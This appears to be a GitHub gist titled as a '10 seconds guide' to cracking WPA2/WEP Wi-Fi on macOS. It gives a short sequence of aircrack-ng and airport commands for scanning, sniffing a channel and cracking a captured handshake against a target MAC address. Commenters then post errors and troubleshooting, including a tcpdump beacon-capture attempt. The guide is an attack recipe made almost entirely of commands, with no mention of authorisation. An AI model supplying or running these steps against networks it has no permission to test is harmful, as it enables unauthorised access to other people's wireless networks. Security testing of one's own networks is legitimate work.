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Cracking WPA2 / WEP Wifi / Aircrack 10 seconds guide. For Mac OSX
//Install Macports.
//Install aircrack-ng:
sudo port install aircrack-ng
//Install the latest Xcode, with the Command Line Tools.
//Create the following symlink:
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport
//Figure out which channel you need to sniff:
sudo airport -s
sudo airport en1 sniff [CHANNEL]
//New Terminal Window
aircrack-ng -1 -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE]
// Notes: the cap_file will be located in the /tmp/airportSniff*.cap.
@mzychinav
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MacOS Mojave 10.14.1 failed got the replay "Segmentations Fault 11" message when proceed "airport en0 sniff", anyone got the solution?

@madmike121989
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MacOS Mojave 10.14.1 failed got the replay "Segmentations Fault 11" message when proceed "airport en0 sniff", anyone got the solution? i'm having the same issue

@fungmen
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fungmen commented Jan 9, 2019

more easy when i'm installing kali on macbook air, i can scan and crack the handshake more faster beside debugging the OSX ^_^!

@mikediachenko
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MacOS Mojave 10.14.1 failed got the replay "Segmentations Fault 11" message when proceed "airport en0 sniff", anyone got the solution?

The same stuff.

@shsunmoonlee
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shsunmoonlee commented Aug 8, 2019

First attempt failed.
➜ Clients airport en0 sniff 4
Could not open device en0 (en0: You don't have permission to capture on that device ((cannot open BPF device) /dev/bpf0: Permission denied)).

Second attempt failed
sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i en1 -w beacon.cap
tcpdump: en1: That device doesn't support monitor mode

@khyanatun
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$aircrack-ng -1 -a 1 -b "Mac address" "CAP_FILE"
Reading packets, please wait...
Opening "CAP_FILE"
Failed to open "CAP_FILE' : No such file or directory


someone, please help cap file won't open

@SenorReyez
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You need to define "CAP_FILE" as the path example /path/to/cap_file.cap

@lmancini1
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what is the path to the cap file I cant find a top folder with airportsniff in it

@Nene020911
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Reading packets, please wait...
Opening /tmp/airportSniff*.cap
Failed to open '/tmp/airportSniff*.cap' (2): No such file or directory
any help?

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